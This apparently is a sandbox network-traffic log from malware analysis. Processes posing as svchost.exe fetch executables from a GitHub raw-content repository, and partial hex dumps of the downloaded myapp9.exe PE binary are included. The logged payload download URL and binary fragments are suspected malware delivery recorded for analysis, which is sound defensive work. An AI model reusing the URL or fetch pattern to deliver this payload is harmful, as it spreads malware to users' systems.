2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 66 69 6c 65 2d 61 74 74 61 63 68 6d 65 6e 74 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 76 69 65 77 2d 63 6f 2d 32 37 38 66 39 38 2d 36 31 34 36 32 37 62 64 35 38 63 32 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 Data Ascii: s.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-278f98-614627bd58c2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/a
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 33 34 63 2d 66 38 61 35 34 38 35 63 39 38 32 61 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 75 72 62 6f 5f 64 69 73 74 5f 74 75 72 62 6f 5f 65 73 32 30 31 37 2d 65 73 6d 5f 6a 73 2d 38 35 38 65 30 34 33 66 63 66 37 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 Data Ascii: 34c-f8a5485c982a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76.js"></script><script crossorigi
2024-09-20 10:14:45 UTC	1370	IN	Data Raw: 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 74 61 73 6b 2d 6c 69 73 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 73 6f 5f 74 73 2d 75 69 5f 70 61 63 6b 61 67 65 73 2d 39 30 30 64 64 65 2d 61 62 38 37 63 31 64 36 63 35 63 38 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 Data Ascii: <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-ab87c1d6c5c8.js"></script><script

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	58637	185.199.108.133	443	8124	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:46 UTC	116	OUT	GET /panchito10/myFiles/main/my_backup_app.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-20 10:14:46 UTC	801	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: 1EEC:A288F:76DC05:81AA26:66ED4B16 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:46 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740045-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726827286.448466,VS0,VE9 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6bc899f331e939638a3ad253ba02a88721577e74 Expires: Fri, 20 Sep 2024 10:19:46 GMT Source-Age: 0
2024-09-20 10:14:46 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	58638	185.199.108.133	443	8188	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:46 UTC	116	OUT	GET /panchito10/myFiles/main/my_backup_app.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-20 10:14:46 UTC	800	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: 1EEC:A288F:76DC05:81AA26:66ED4B16 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:46 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740045-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726827286.453453,VS0,VE4 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 044e0b22b04d2ef09b000d6ef0ee44099a902c83 Expires: Fri, 20 Sep 2024 10:19:46 GMT Source-Age: 0
2024-09-20 10:14:46 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	58640	185.199.108.133	443	8124	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:46 UTC	85	OUT	GET /panchito10/myFiles/main/myapp9.exe HTTP/1.1 Host: raw.githubusercontent.com
2024-09-20 10:14:47 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 15187968 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "9ddfee0b0d977299723a89092fce42b88f6f0606285428703c95369ae273187c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 30BF:366503:83607B:8E2F0E:66ED4B15 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:47 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740043-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726827287.017814,VS0,VE172 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 631acbefb2e804e12a80e008915f49630b554ac9 Expires: Fri, 20 Sep 2024 10:19:47 GMT Source-Age: 0
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 89 cc eb 6c cd ad 85 3f cd ad 85 3f cd ad 85 3f bd 2c 80 3e 60 ad 85 3f bd 2c 81 3e df ad 85 3f bd 2c 86 3e cb ad 85 3f dd 29 86 3e c7 ad 85 3f dd 29 81 3e dd ad 85 3f dd 29 80 3e 9a ad 85 3f bd 2c 84 3e c8 ad 85 3f cd ad 84 3f 56 ad 85 3f 85 28 8c 3e cc ad 85 3f 85 28 7a 3f cc ad 85 3f 85 28 87 3e cc ad 85 3f 52 69 63 68 cd ad 85 3f 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l???,>`?,>?,>?)>?)>?)>?,>??V?(>?(z??(>?Rich?PEd
2024-09-20 10:14:47 UTC	1364	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 48 48 8d 4c 24 20 e8 c2 ff ff ff 48 8d 15 a3 4d e7 00 48 8d 4c 24 20 e8 c1 40 02 00 cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 45 d4 03 00 0f 57 c0 48 8d 53 08 48 89 0b 48 8d 48 08 0f 11 02 e8 d3 3d 02 00 48 8d 05 60 bb 05 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 05 d4 03 00 0f 57 c0 48 8d 53 08 48 89 0b 48 8d 48 08 0f 11 02 e8 93 3d 02 00 48 8d 05 00 d4 03 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc 48 83 ec 28 48 8d 0d 7d 49 06 00 e8 e8 05 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 40 48 8b 05 83 5e e7 00 48 33 c4 48 89 44 24 30 48 83 7a 18 0f 4c 8b c2 48 8b d9 76 03 4c 8b 02 48 8d 51 08 4c 89 44 24 20 48 8d 05 Data Ascii: HHHL$ HMHL$ @@SH HHHEWHSHHH=H`HHH [@SH HHHWHSHHH=HHHH [H(H}I@SH@H^H3HD$0HzLHvLHQLD$ H
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 4b 08 e8 cf 38 02 00 48 8d 05 44 b7 05 00 48 89 07 48 8d 05 52 b7 05 00 0f 10 43 18 48 8b 5c 24 30 48 89 07 48 8b c7 0f 11 47 18 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b da 48 8d 05 e4 ce 03 00 48 89 01 48 8d 51 08 48 8b f9 0f 57 c0 0f 11 02 48 8d 4b 08 e8 6f 38 02 00 48 8d 05 e4 b6 05 00 48 89 07 48 8b c7 0f 10 43 18 48 8b 5c 24 30 0f 11 47 18 48 83 c4 20 5f c3 cc cc cc 48 8b 09 e9 18 f9 01 00 cc cc cc cc cc cc cc cc 48 8d 05 59 44 06 00 c3 cc cc cc cc cc cc cc cc 40 53 48 83 ec 30 41 8b c8 48 8b da e8 8f 06 02 00 0f 57 c0 49 c7 c0 ff ff ff ff 0f 11 03 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 66 90 49 ff c0 42 80 3c 00 00 75 f6 48 8b d0 48 8b cb e8 fb ce 00 00 48 8b c3 48 83 c4 30 5b c3 cc cc 40 53 48 83 ec Data Ascii: K8HDHHRCH\$0HHGH _H\$WH HHHHQHWHKo8HHHCH\$0GH _HHYD@SH0AHWIHCHCfIB<uHHHH0[@SH
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 24 58 66 0f 1f 44 00 00 49 ff c0 42 38 34 02 75 f7 48 8d 4c 24 48 e8 6d ca 00 00 48 8d 44 24 48 8b ce bf 01 00 00 00 eb 27 66 0f 6f 0d 57 ce e6 00 48 8d 44 24 28 0f 57 c0 b9 02 00 00 00 0f 11 44 24 28 40 88 74 24 28 8b fe f3 0f 7f 4c 24 38 0f 10 00 0f 10 48 10 0f 11 03 0f 11 4b 10 48 89 70 10 48 c7 40 18 0f 00 00 00 40 88 30 48 8b b4 24 90 00 00 00 85 c9 74 39 48 8b 54 24 40 48 83 fa 0f 76 2e 48 8b 4c 24 28 48 ff c2 48 8b c1 48 81 fa 00 10 00 00 72 15 48 8b 49 f8 48 83 c2 27 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 53 e8 36 16 02 00 85 ff 74 39 48 8b 54 24 60 48 83 fa 0f 76 2e 48 8b 4c 24 48 48 ff c2 48 8b c1 48 81 fa 00 10 00 00 72 15 48 8b 49 f8 48 83 c2 27 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 16 e8 f9 15 02 00 48 8b c3 48 8b 9c 24 98 00 00 00 48 83 c4 70 5f Data Ascii: $XfDIB84uHL$HmHD$H'foWHD$(WD$(@t$(L$8HKHpH@@0H$t9HT$@Hv.HL$(HHHrHIH'H+HHwS6t9HT$`Hv.HL$HHHHrHIH'H+HHwHH$Hp_
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 00 00 4c 39 31 0f 85 54 01 00 00 b9 60 00 00 00 e8 79 11 02 00 48 8b f0 48 89 45 67 48 8b 4b 08 48 85 c9 74 0f 48 8b 59 28 48 85 db 75 0d 48 8d 59 30 eb 07 48 8d 1d 48 3a 06 00 33 d2 48 8d 4d a7 e8 58 f2 01 00 90 4c 89 75 af c6 45 b7 00 4c 89 75 bf c6 45 c7 00 4c 89 75 cf 66 44 89 75 d7 4c 89 75 df 66 44 89 75 e7 4c 89 75 ef c6 45 f7 00 4c 89 75 ff c6 45 07 00 48 85 db 0f 84 fa 00 00 00 48 8b d3 48 8d 4d a7 e8 a4 f9 01 00 90 44 89 76 08 48 8d 05 5c ac 05 00 48 89 06 48 8d 4d 0f e8 80 05 02 00 0f 10 00 0f 10 48 10 0f 11 46 10 0f 11 4e 20 48 8d 4d 0f e8 a0 08 02 00 0f 10 08 0f 10 50 10 f2 0f 10 40 20 8b 48 28 0f 11 4e 30 0f 11 56 40 f2 0f 11 46 50 89 4e 58 48 89 37 48 8d 4d a7 e8 b5 f9 01 00 48 8b 4d ff 48 85 c9 74 05 e8 ef 7d 02 00 4c 89 75 ff 48 8b 4d ef Data Ascii: L91T`yHHEgHKHtHY(HuHY0HH:3HMXLuELuELufDuLufDuLuELuEHHHMDvH\HHMHFN HMP@ H(N0V@FPNXH7HMHMHt}LuHM
2024-09-20 10:14:47 UTC	1350	IN	Data Raw: c3 02 88 57 ff 48 3b de 75 ca 4c 8b 7c 24 40 48 8b ac 24 80 00 00 00 48 8b c3 48 8b 4c 24 30 48 33 cc e8 dd 0b 02 00 48 83 c4 48 41 5e 5f 5e 5b c3 cc cc cc 48 89 5c 24 08 57 48 83 ec 20 83 79 20 00 48 8d 05 4b a7 05 00 48 89 01 8b fa 48 8b d9 74 09 48 8b 49 18 e8 28 79 02 00 48 8b 4b 28 e8 1f 79 02 00 48 8d 05 d8 c4 03 00 48 89 03 40 f6 c7 01 74 0d ba 60 00 00 00 48 8b cb e8 a2 0b 02 00 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc 40 53 48 81 ec a0 00 00 00 0f 29 b4 24 90 00 00 00 48 8b d9 48 89 4c 24 20 41 0f 10 30 0f 57 c0 0f 11 44 24 30 0f 57 c9 f3 0f 7f 4c 24 40 49 c7 c0 ff ff ff ff 49 ff c0 42 80 3c 02 00 75 f6 48 8d 4c 24 30 e8 e7 be 00 00 90 48 8d 54 24 30 48 8d 4c 24 70 e8 87 82 00 00 66 0f 7f 74 24 20 4c 8b c0 48 8d 54 24 20 48 8d 4c 24 Data Ascii: WH;uL\|$@H$HHL$0H3HHA^_^[H\$WH y HKHHtHI(yHK(yHH@t`HHH\$0H _@SH)$HHL$ A0WD$0WL$@IIB<uHL$0HT$0HL$pft$ LHT$ HL$
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: eb 40 45 8d 51 0f 44 89 4c 24 38 41 c1 ea 04 b8 39 8e e3 38 41 69 ca 10 44 13 00 45 8b da 41 c1 e3 04 41 83 c3 78 4c 89 44 24 40 c1 e9 12 83 c1 19 f7 e1 d1 ea 83 ea 01 89 54 24 34 0f 88 fc 01 00 00 45 2b d9 44 89 4c 24 38 41 83 eb 78 4c 89 44 24 40 49 8b d8 44 89 5c 24 28 48 c1 e3 08 48 8d 3d 78 d3 ff ff 42 0f b7 8c 57 a0 bf e6 00 8d 04 d2 03 ca 48 89 5c 24 60 89 4c 24 3c 89 44 24 30 48 63 c1 48 bd 97 a5 b4 36 41 5f 70 89 4c 8d 14 40 4a 8b 84 d7 00 13 04 00 48 f7 e3 4a 8b 84 d7 08 13 04 00 48 8b ca 48 f7 e3 4c 8b c0 4c 8b ca 4a 8b 84 d7 10 13 04 00 49 03 c8 48 f7 e3 49 3b c8 41 8b cb 48 8b f8 49 13 f9 49 b9 31 30 95 f8 88 0a 68 31 48 3b f8 49 8b c1 48 83 d2 00 48 0f ad d7 4c 8b c2 48 f7 e7 49 d3 e8 48 8b c5 48 8b ca 48 f7 e7 4c 8b d0 48 8b da 49 8b c1 49 Data Ascii: @EQDL$8A98AiDEAAxLD$@T$4E+DL$8AxLD$@ID\$(HH=xBWH\$`L$<D$0HcH6A_pL@JHJHHLLJIHI;AHII10h1H;IHHLHIHHHLHII
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: f8 ff c7 eb 12 32 c0 0f b6 f8 ff c7 eb 09 33 ff 83 f9 05 40 0f 97 c7 45 85 ed 74 3f 49 8b c7 41 8b eb 48 2b c6 48 3b c5 0f 8c 89 fc ff ff 45 85 c9 75 15 44 8b c5 ba 30 00 00 00 48 8b ce e8 f9 92 03 00 48 03 f5 eb 53 4c 8b c6 41 8b d1 41 8b cb e8 f6 8a 00 00 48 03 f5 eb 40 83 7c 24 50 00 76 26 49 8b c7 41 8d 6b 01 48 2b c6 48 3b c5 0f 8c 42 fc ff ff 4c 8b c6 41 8b d1 41 8b cb e8 a9 f7 ff ff 48 03 f5 eb 13 49 3b f7 0f 84 26 fc ff ff 41 80 c1 30 44 88 0e 48 ff c6 85 ff 74 34 48 8b 54 24 58 48 8b c6 48 3b f2 74 22 0f b6 48 ff 48 ff c8 80 f9 2e 74 11 80 f9 39 0f 85 99 00 00 00 c6 00 30 bf 01 00 00 00 48 3b c2 75 de c6 00 31 ff c3 44 8b c3 49 8b c7 41 f7 d8 44 0f 48 c3 33 c9 41 83 f8 64 0f 9d c1 48 2b c6 48 83 c1 04 48 3b c1 0f 8c be fb ff ff 85 db c6 06 65 b8 Data Ascii: 23@Et?IAH+H;EuD0HHSLAAH@\|$Pv&IAkH+H;BLAAHI;&A0DHt4HT$XHH;t"HH.t90H;u1DIADH3AdH+HH;e
2024-09-20 10:14:47 UTC	1357	IN	Data Raw: 01 45 84 ed 74 08 44 0f b6 7c 24 60 eb 03 41 ff ce 8b de 45 84 ff 75 7f 40 84 ed 75 7a b8 cd cc cc cc 41 f7 e2 b8 cd cc cc cc 44 8b ca 41 f7 e6 41 c1 e9 03 8b fa c1 ef 03 41 3b f9 76 51 0f 1f 40 00 0f 1f 84 00 00 00 00 00 b8 cd cc cc cc 45 8b d1 41 f7 e0 ff c3 c1 ea 03 0f b6 c2 c0 e0 02 8d 0c 10 b8 cd cc cc cc 02 c9 44 2a c1 45 0f b6 d8 44 8b c2 41 f7 e1 b8 cd cc cc cc 44 8b ca f7 e7 41 c1 e9 03 8b fa c1 ef 03 41 3b f9 77 bb 45 3b c2 e9 24 01 00 00 b8 cd cc cc cc 41 f7 e2 b8 cd cc cc cc 8b fa 41 f7 e6 c1 ef 03 44 8b f2 41 c1 ee 03 44 3b f7 76 6d 66 90 8d 0c bf 41 0f b6 c7 03 c9 44 8b ce 44 3b d1 8b ce 44 8b d7 44 0f 44 c8 45 84 db 40 0f b6 c5 45 0f b6 f9 0f 44 c8 b8 cd cc cc cc 41 f7 e0 0f b6 e9 ff c3 c1 ea 03 0f b6 c2 c0 e0 02 8d 0c 10 b8 cd cc cc cc 02 Data Ascii: EtD\|$`AEu@uzADAAA;vQ@EAD*EDADAA;wE;$AADAD;vmfADD;DDDE@EDA
2024-09-20 10:14:47 UTC	1371	IN	Data Raw: cc cc cc cc cc cc cc 45 32 d2 8b df 45 84 ff 0f 85 f0 00 00 00 40 84 ed 0f 85 e7 00 00 00 48 b9 15 ae 47 e1 7a 14 ae 47 4c 8b c6 48 8b c1 4d 8b d3 48 f7 e6 48 8b c1 4c 2b c2 49 d1 e8 4c 03 c2 49 f7 e3 49 c1 e8 06 4c 2b d2 49 d1 ea 4c 03 d2 49 c1 ea 06 4d 3b c2 76 32 48 8b c1 49 8b f0 49 f7 e1 49 8b c9 4d 8b da 48 2b ca bb 02 00 00 00 48 d1 e9 48 03 ca 48 c1 e9 06 6b c1 64 44 2b c8 41 83 f9 32 4c 8b c9 40 0f 93 c5 49 8b c4 48 f7 e6 49 8b c4 4c 8b c2 49 f7 e3 49 c1 e8 03 48 8b ca 48 c1 e9 03 4c 3b c1 76 44 0f 1f 00 49 8b c4 4c 8b d9 49 f7 e1 48 c1 ea 03 8d 04 92 03 c0 44 2b c8 49 8b c4 41 83 f9 05 4c 8b ca 40 0f 93 c5 ff c3 49 f7 e0 49 8b c4 4c 8b c2 48 f7 e1 49 c1 e8 03 48 8b ca 48 c1 e9 03 4c 3b c1 77 bf 4d 3b cb 0f 84 3d 01 00 00 40 84 ed 0f 84 39 01 00 Data Ascii: E2E@HGzGLHMHHL+ILIIL+ILIM;v2HIIIMH+HHHkdD+A2L@IHILIIHHL;vDILIHD+IAL@IILHIHHL;wM;=@9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	58639	185.199.108.133	443	8188	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-20 10:14:46 UTC	85	OUT	GET /panchito10/myFiles/main/myapp9.exe HTTP/1.1 Host: raw.githubusercontent.com
2024-09-20 10:14:47 UTC	903	IN	HTTP/1.1 200 OK Connection: close Content-Length: 15187968 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "9ddfee0b0d977299723a89092fce42b88f6f0606285428703c95369ae273187c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: D303:9F28E:7DCF6C:88A32F:66ED4B16 Accept-Ranges: bytes Date: Fri, 20 Sep 2024 10:14:47 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890059-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726827287.019600,VS0,VE137 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 7e841d7f56a6ea33464e59fed2101ef84c3deaa7 Expires: Fri, 20 Sep 2024 10:19:47 GMT Source-Age: 0
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 89 cc eb 6c cd ad 85 3f cd ad 85 3f cd ad 85 3f bd 2c 80 3e 60 ad 85 3f bd 2c 81 3e df ad 85 3f bd 2c 86 3e cb ad 85 3f dd 29 86 3e c7 ad 85 3f dd 29 81 3e dd ad 85 3f dd 29 80 3e 9a ad 85 3f bd 2c 84 3e c8 ad 85 3f cd ad 84 3f 56 ad 85 3f 85 28 8c 3e cc ad 85 3f 85 28 7a 3f cc ad 85 3f 85 28 87 3e cc ad 85 3f 52 69 63 68 cd ad 85 3f 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l???,>`?,>?,>?)>?)>?)>?,>??V?(>?(z??(>?Rich?PEd
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 48 48 8d 4c 24 20 e8 c2 ff ff ff 48 8d 15 a3 4d e7 00 48 8d 4c 24 20 e8 c1 40 02 00 cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 45 d4 03 00 0f 57 c0 48 8d 53 08 48 89 0b 48 8d 48 08 0f 11 02 e8 d3 3d 02 00 48 8d 05 60 bb 05 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc 40 53 48 83 ec 20 48 8b d9 48 8b c2 48 8d 0d 05 d4 03 00 0f 57 c0 48 8d 53 08 48 89 0b 48 8d 48 08 0f 11 02 e8 93 3d 02 00 48 8d 05 00 d4 03 00 48 89 03 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc 48 83 ec 28 48 8d 0d 7d 49 06 00 e8 e8 05 02 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 40 48 8b 05 83 5e e7 00 48 33 c4 48 89 44 24 30 48 83 7a 18 0f 4c 8b c2 48 8b d9 76 03 4c 8b 02 48 8d 51 08 4c 89 44 24 20 48 8d 05 Data Ascii: HHHL$ HMHL$ @@SH HHHEWHSHHH=H`HHH [@SH HHHWHSHHH=HHHH [H(H}I@SH@H^H3HD$0HzLHvLHQLD$ H
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 48 89 07 48 8d 05 52 b7 05 00 0f 10 43 18 48 8b 5c 24 30 48 89 07 48 8b c7 0f 11 47 18 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8b da 48 8d 05 e4 ce 03 00 48 89 01 48 8d 51 08 48 8b f9 0f 57 c0 0f 11 02 48 8d 4b 08 e8 6f 38 02 00 48 8d 05 e4 b6 05 00 48 89 07 48 8b c7 0f 10 43 18 48 8b 5c 24 30 0f 11 47 18 48 83 c4 20 5f c3 cc cc cc 48 8b 09 e9 18 f9 01 00 cc cc cc cc cc cc cc cc 48 8d 05 59 44 06 00 c3 cc cc cc cc cc cc cc cc 40 53 48 83 ec 30 41 8b c8 48 8b da e8 8f 06 02 00 0f 57 c0 49 c7 c0 ff ff ff ff 0f 11 03 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 66 90 49 ff c0 42 80 3c 00 00 75 f6 48 8b d0 48 8b cb e8 fb ce 00 00 48 8b c3 48 83 c4 30 5b c3 cc cc 40 53 48 83 ec 20 48 8b d9 f6 c2 01 74 0a ba 10 00 00 00 Data Ascii: HHRCH\$0HHGH _H\$WH HHHHQHWHKo8HHHCH\$0GH _HHYD@SH0AHWIHCHCfIB<uHHHH0[@SH Ht
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 02 75 f7 48 8d 4c 24 48 e8 6d ca 00 00 48 8d 44 24 48 8b ce bf 01 00 00 00 eb 27 66 0f 6f 0d 57 ce e6 00 48 8d 44 24 28 0f 57 c0 b9 02 00 00 00 0f 11 44 24 28 40 88 74 24 28 8b fe f3 0f 7f 4c 24 38 0f 10 00 0f 10 48 10 0f 11 03 0f 11 4b 10 48 89 70 10 48 c7 40 18 0f 00 00 00 40 88 30 48 8b b4 24 90 00 00 00 85 c9 74 39 48 8b 54 24 40 48 83 fa 0f 76 2e 48 8b 4c 24 28 48 ff c2 48 8b c1 48 81 fa 00 10 00 00 72 15 48 8b 49 f8 48 83 c2 27 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 53 e8 36 16 02 00 85 ff 74 39 48 8b 54 24 60 48 83 fa 0f 76 2e 48 8b 4c 24 48 48 ff c2 48 8b c1 48 81 fa 00 10 00 00 72 15 48 8b 49 f8 48 83 c2 27 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 16 e8 f9 15 02 00 48 8b c3 48 8b 9c 24 98 00 00 00 48 83 c4 70 5f c3 e8 8b 8f 02 00 cc cc cc 48 89 5c 24 10 Data Ascii: uHL$HmHD$H'foWHD$(WD$(@t$(L$8HKHpH@@0H$t9HT$@Hv.HL$(HHHrHIH'H+HHwS6t9HT$`Hv.HL$HHHHrHIH'H+HHwHH$Hp_H\$
